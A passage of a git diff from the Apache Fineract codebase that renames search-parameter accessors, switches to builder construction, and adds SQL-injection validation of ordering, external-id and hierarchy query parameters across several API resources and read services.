final StringBuilder sqlBuilder = new StringBuilder(200);
sqlBuilder.append(sql);
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/organisation/office/api/OfficesApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/organisation/office/api/OfficesApiResource.java
index 5dcdca4..5aa464a 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/organisation/office/api/OfficesApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/organisation/office/api/OfficesApiResource.java
@@ -62,6 +62,7 @@
import org.apache.fineract.infrastructure.core.service.ExternalIdFactory;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.organisation.office.data.OfficeData;
import org.apache.fineract.organisation.office.service.OfficeReadPlatformService;
import org.glassfish.jersey.media.multipart.FormDataContentDisposition;
@@ -90,6 +91,7 @@
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
+ private final SqlValidator sqlValidator;
private final Gson gson = GoogleGsonSerializerHelper.createSimpleGson();
@@ -105,7 +107,10 @@
@QueryParam("orderBy") @Parameter(description = "orderBy") final String orderBy,
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
- final SearchParameters searchParameters = SearchParameters.forOffices(orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().orphansOnly(false).isSelfUser(false).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
final Collection<OfficeData> offices = readPlatformService.retrieveAllOffices(onlyManualEntries, searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return toApiJsonSerializer.serialize(settings, offices, RESPONSE_DATA_PARAMETERS);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/organisation/office/service/OfficeReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/organisation/office/service/OfficeReadPlatformServiceImpl.java
index 3b8b491..d7b3a73 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/organisation/office/service/OfficeReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/organisation/office/service/OfficeReadPlatformServiceImpl.java
@@ -159,12 +159,12 @@
sqlBuilder.append(rm.officeSchema());
sqlBuilder.append(" where o.hierarchy like ? ");
if (searchParameters != null) {
- if (searchParameters.isOrderByRequested()) {
- sqlBuilder.append("order by ").append(searchParameters.getOrderBy());
+ if (searchParameters.hasOrderBy()) {
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
- sqlBuilder.append(' ').append(searchParameters.getSortOrder());
+ sqlBuilder.append("order by ").append(searchParameters.getOrderBy());
+ if (searchParameters.hasSortOrder()) {
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
+ sqlBuilder.append(' ').append(searchParameters.getSortOrder());
}
} else {
sqlBuilder.append("order by o.hierarchy");
diff --git a/fineract-provider/src/main/java/org/apache/fineract/organisation/teller/service/TellerManagementReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/organisation/teller/service/TellerManagementReadPlatformServiceImpl.java
index 4effdf9..f9b9b5b 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/organisation/teller/service/TellerManagementReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/organisation/teller/service/TellerManagementReadPlatformServiceImpl.java
@@ -485,9 +485,9 @@
+ " and renum.enum_value in ('PAY_CHARGE', 'WAIVE_CHARGE') "
+ " and (cli_txn.payment_detail_id IS NULL OR payType.is_cash_payment = true) ) " + " order by created_date ";
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sql += " ";
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sql += sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset());
} else {
sql += sqlGenerator.limit(searchParameters.getLimit());
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/AccountTransfersApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/AccountTransfersApiResource.java
index cc0baa4..fd17748 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/AccountTransfersApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/AccountTransfersApiResource.java
@@ -47,6 +47,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.account.data.AccountTransferData;
import org.apache.fineract.portfolio.account.service.AccountTransfersReadPlatformService;
import org.springframework.stereotype.Component;
@@ -62,6 +63,7 @@
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final AccountTransfersReadPlatformService accountTransfersReadPlatformService;
+ private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -125,7 +127,11 @@
this.context.authenticatedUser().validateHasReadPermission(AccountTransfersApiConstants.ACCOUNT_TRANSFER_RESOURCE_NAME);
- final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ sqlValidator.validate(externalId);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
+ .orderBy(orderBy).sortOrder(sortOrder).build();
final Page<AccountTransferData> transfers = this.accountTransfersReadPlatformService.retrieveAll(searchParameters, accountDetailId);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionApiResource.java
index a0a3fae..560b253 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionApiResource.java
@@ -54,6 +54,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.account.data.AccountTransferData;
import org.apache.fineract.portfolio.account.data.StandingInstructionDTO;
import org.apache.fineract.portfolio.account.data.StandingInstructionData;
@@ -74,6 +75,7 @@
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final StandingInstructionReadPlatformService standingInstructionReadPlatformService;
private final AccountTransfersReadPlatformService accountTransfersReadPlatformService;
+ private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -182,7 +184,11 @@
this.context.authenticatedUser().validateHasReadPermission(StandingInstructionApiConstants.STANDING_INSTRUCTION_RESOURCE_NAME);
- final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ sqlValidator.validate(externalId);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
+ .orderBy(orderBy).sortOrder(sortOrder).build();
final LocalDate startDateRange = null;
final LocalDate endDateRange = null;
@@ -212,8 +218,11 @@
this.context.authenticatedUser().validateHasReadPermission(StandingInstructionApiConstants.STANDING_INSTRUCTION_RESOURCE_NAME);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
StandingInstructionData standingInstructionData = this.standingInstructionReadPlatformService.retrieveOne(standingInstructionId);
- final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
+ .orderBy(orderBy).sortOrder(sortOrder).build();
final Set<String> associationParameters = ApiParameterHelper.extractAssociationsForResponseIfProvided(uriInfo.getQueryParameters());
Page<AccountTransferData> transfers = null;
if (!associationParameters.isEmpty()) {
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionHistoryApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionHistoryApiResource.java
index c144ec0..6a54364 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionHistoryApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionHistoryApiResource.java
@@ -44,6 +44,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.account.data.StandingInstructionDTO;
import org.apache.fineract.portfolio.account.data.StandingInstructionHistoryData;
import org.apache.fineract.portfolio.account.service.StandingInstructionHistoryReadPlatformService;
@@ -59,6 +60,7 @@
private final DefaultToApiJsonSerializer<StandingInstructionHistoryData> toApiJsonSerializer;
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final StandingInstructionHistoryReadPlatformService standingInstructionHistoryReadPlatformService;
+ private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -88,7 +90,11 @@
final DateFormat dateFormat = StringUtils.isBlank(rawDateFormat) ? null : new DateFormat(rawDateFormat);
- final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ sqlValidator.validate(externalId);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
+ .orderBy(orderBy).sortOrder(sortOrder).build();
LocalDate startDateRange = null;
LocalDate endDateRange = null;
if (fromDateParam != null) {
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/AccountTransfersReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/AccountTransfersReadPlatformServiceImpl.java
index a0fb3b9..619da29 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/AccountTransfersReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/AccountTransfersReadPlatformServiceImpl.java
@@ -218,18 +218,18 @@
finalObjectArray = new Object[] { accountDetailId };
}
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" limit ").append(searchParameters.getLimit());
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(" offset ").append(searchParameters.getOffset());
}
}
@@ -287,18 +287,18 @@
sqlBuilder.append(" where atsi.id = ?");
if (searchParameters != null) {
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionHistoryReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionHistoryReadPlatformServiceImpl.java
index f3efb4e..b663de0 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionHistoryReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionHistoryReadPlatformServiceImpl.java
@@ -136,18 +136,18 @@
}
final SearchParameters searchParameters = standingInstructionDTO.searchParameters();
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionReadPlatformServiceImpl.java
index 3d74d67..751e1c4 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionReadPlatformServiceImpl.java
@@ -305,18 +305,18 @@
}
final SearchParameters searchParameters = standingInstructionDTO.searchParameters();
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientChargesApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientChargesApiResource.java
index 440540f..7948744 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientChargesApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientChargesApiResource.java
@@ -102,7 +102,7 @@
ClientApiConstants.CLIENT_CHARGE_QUERY_PARAM_STATUS_VALUE_ACTIVE,
ClientApiConstants.CLIENT_CHARGE_QUERY_PARAM_STATUS_VALUE_INACTIVE });
}
- final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
final Page<ClientChargeData> clientCharges = this.clientChargeReadPlatformService.retrieveClientCharges(clientId, chargeStatus,
pendingPayment, searchParameters);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientTransactionsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientTransactionsApiResource.java
index 2758434..b1a79dd 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientTransactionsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientTransactionsApiResource.java
@@ -311,7 +311,7 @@
private String getAllClientTransactions(Long clientId, UriInfo uriInfo, Integer offset, Integer limit) {
- SearchParameters searchParameters = SearchParameters.forPagination(offset, limit);
+ SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
final Page<ClientTransactionData> clientTransactions = clientTransactionReadPlatformService.retrieveAllTransactions(clientId,
searchParameters);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientsApiResource.java
index 427ef7e..a16416f 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientsApiResource.java
@@ -62,6 +62,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
import org.apache.fineract.portfolio.client.data.ClientData;
@@ -93,6 +94,7 @@
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final GuarantorReadPlatformService guarantorReadPlatformService;
+ private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -443,8 +445,13 @@
final String firstname, final String lastname, final String status, final String hierarchy, final Integer offset,
final Integer limit, final String orderBy, final String sortOrder, final Boolean orphansOnly, final boolean isSelfUser) {
context.authenticatedUser().validateHasReadPermission(ClientApiConstants.CLIENT_RESOURCE_NAME);
- final SearchParameters searchParameters = SearchParameters.forClients(officeId, externalId, displayName, firstname, lastname,
- status, hierarchy, offset, limit, orderBy, sortOrder, orphansOnly, isSelfUser);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ sqlValidator.validate(externalId);
+ sqlValidator.validate(hierarchy);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).externalId(externalId)
+ .name(displayName).hierarchy(hierarchy).firstname(firstname).lastname(lastname).status(status).orphansOnly(orphansOnly)
+ .isSelfUser(isSelfUser).offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
final Page<ClientData> clientData = clientReadPlatformService.retrieveAll(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return toApiJsonSerializer.serialize(settings, clientData, ClientApiConstants.CLIENT_RESPONSE_DATA_PARAMETERS);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientChargeReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientChargeReadPlatformServiceImpl.java
index 4b03043..6b560a0 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientChargeReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientChargeReadPlatformServiceImpl.java
@@ -151,9 +151,9 @@
// apply limit and offsets
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientReadPlatformServiceImpl.java
index 292a21a..13906e9 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientReadPlatformServiceImpl.java
@@ -192,7 +192,7 @@
sqlBuilder.append(" where (o.hierarchy like ? or transferToOffice.hierarchy like ?) ");
if (searchParameters != null) {
- if (searchParameters.isSelfUser()) {
+ if (searchParameters.getIsSelfUser()) {
sqlBuilder.append(
" and c.id in (select umap.client_id from m_selfservice_user_client_mapping as umap where umap.appuser_id = ? ) ");
paramList.add(appUserID);
@@ -204,18 +204,18 @@
sqlBuilder.append(" and (").append(extraCriteria).append(")");
}
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -267,12 +267,12 @@
extraCriteria += " and c.lastname like ? ";
}
- if (searchParameters.isScopedByOfficeHierarchy()) {
+ if (searchParameters.hasHierarchy()) {
paramList.add(searchParameters.getHierarchy() + "%");
extraCriteria += " and o.hierarchy like ? ";
}
- if (searchParameters.isOrphansOnly()) {
+ if (searchParameters.getOrphansOnly()) {
extraCriteria += " and c.id NOT IN (select client_id from m_group_client) ";
}
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientTransactionReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientTransactionReadPlatformServiceImpl.java
index 1c82138..ec42c76 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientTransactionReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientTransactionReadPlatformServiceImpl.java
@@ -143,9 +143,9 @@
// apply limit and offsets
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/CentersApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/CentersApiResource.java
index 35c2734..7e4ff0a 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/CentersApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/CentersApiResource.java
@@ -75,6 +75,7 @@
import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
import org.apache.fineract.portfolio.calendar.data.CalendarData;
@@ -113,6 +114,7 @@
private final EntityDatatableChecksReadService entityDatatableChecksReadService;
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
+ private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -177,10 +179,14 @@
return this.toApiJsonSerializer.serialize(settings, staffCenterDataArray,
GroupingTypesApiConstants.STAFF_CENTER_RESPONSE_DATA_PARAMETERS);
}
- final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
- final Boolean isOrphansOnly = false;
- final SearchParameters searchParameters = SearchParameters.forGroups(officeId, staffId, externalId, name, hierarchy, offset, limit,
- orderBy, sortOrder, isOrphansOnly);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ sqlValidator.validate(externalId);
+ sqlValidator.validate(hierarchy);
+ final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
+ .orderBy(orderBy).sortOrder(sortOrder).build();
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).externalId(externalId)
+ .name(name).hierarchy(hierarchy).offset(offset).orderBy(orderBy).sortOrder(sortOrder).staffId(staffId).build();
if (parameters.isPaged()) {
final Page<CenterData> centers = this.centerReadPlatformService.retrievePagedAll(searchParameters, parameters);
return this.toApiJsonSerializer.serialize(settings, centers, GroupingTypesApiConstants.CENTER_RESPONSE_DATA_PARAMETERS);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/GroupsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/GroupsApiResource.java
index ae6abc1..82608b0 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/GroupsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/GroupsApiResource.java
@@ -74,6 +74,7 @@
import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
import org.apache.fineract.portfolio.calendar.data.CalendarData;
@@ -130,6 +131,7 @@
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final GLIMAccountInfoReadPlatformService glimAccountInfoReadPlatformService;
private final GSIMReadPlatformService gsimReadPlatformService;
+ private final SqlValidator sqlValidator;
@GET
@Path("template")
@@ -197,11 +199,17 @@
@QueryParam("orphansOnly") @Parameter(description = "orphansOnly") final Boolean orphansOnly) {
context.authenticatedUser().validateHasReadPermission(GroupingTypesApiConstants.GROUP_RESOURCE_NAME);
- final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ sqlValidator.validate(externalId);
+ sqlValidator.validate(hierarchy);
+ final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
+ .orderBy(orderBy).sortOrder(sortOrder).build();
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
- final SearchParameters searchParameters = SearchParameters.forGroups(officeId, staffId, externalId, name, hierarchy, offset, limit,
- orderBy, sortOrder, orphansOnly);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).isSelfUser(false).officeId(officeId)
+ .externalId(externalId).name(name).hierarchy(hierarchy).offset(offset).orderBy(orderBy).sortOrder(sortOrder)
+ .staffId(staffId).orphansOnly(orphansOnly).build();
if (parameters.isPaged()) {
final Page<GroupGeneralData> groups = groupReadPlatformService.retrievePagedAll(searchParameters, parameters);
return toApiJsonSerializer.serialize(settings, groups, GroupingTypesApiConstants.GROUP_RESPONSE_DATA_PARAMETERS);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/CenterReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/CenterReadPlatformServiceImpl.java
index e1e9b1d..d6fe072 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/CenterReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/CenterReadPlatformServiceImpl.java
@@ -317,16 +317,16 @@
final SQLBuilder extraCriteria = getCenterExtraCriteria(this.centerMapper.schema(), searchParameters);
extraCriteria.addNonNullCriteria("o.hierarchy like ", hierarchySearchString);
sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
